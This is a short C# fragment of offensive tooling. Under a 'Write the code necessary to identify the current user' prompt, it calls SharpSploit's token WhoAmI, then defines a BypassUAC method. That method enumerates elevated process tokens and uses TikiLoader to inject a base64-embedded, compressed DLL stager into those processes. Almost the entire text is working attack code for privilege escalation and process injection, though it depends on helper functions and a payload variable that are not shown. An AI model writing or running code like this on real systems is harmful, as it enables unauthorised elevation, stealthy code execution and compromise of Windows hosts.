// Write the code necessary to identify the current user public static void InvokeWhoAmI() { Console.WriteLine("I'm invoking WhoAmI using SharpSploit!"); var tokens = new SharpSploit.Credentials.Tokens(); Console.WriteLine(tokens.WhoAmI()); }
public static bool BypassUAC(string binary, string path, string arguments) { SharpSploit.Credentials.Tokens t = new SharpSploit.Credentials.Tokens(); List <Process> processes = GetUserProcessTokens(true).Select(UPT => UPT.Process).ToList(); Console.WriteLine("Elevated processes: " + processes.Count); foreach (Process process in processes) { // Get PrimaryToken //Inject CLR and run stager byte[] payload = DecompressDLL(Convert.FromBase64String(nutclr)); try { var ldr = new TikiLoader.Loader(); ldr.LoadElevated(binary, payload, process.Id); return(t.RevertToSelf()); } catch (Exception) { t.RevertToSelf(); continue; } } return(false); }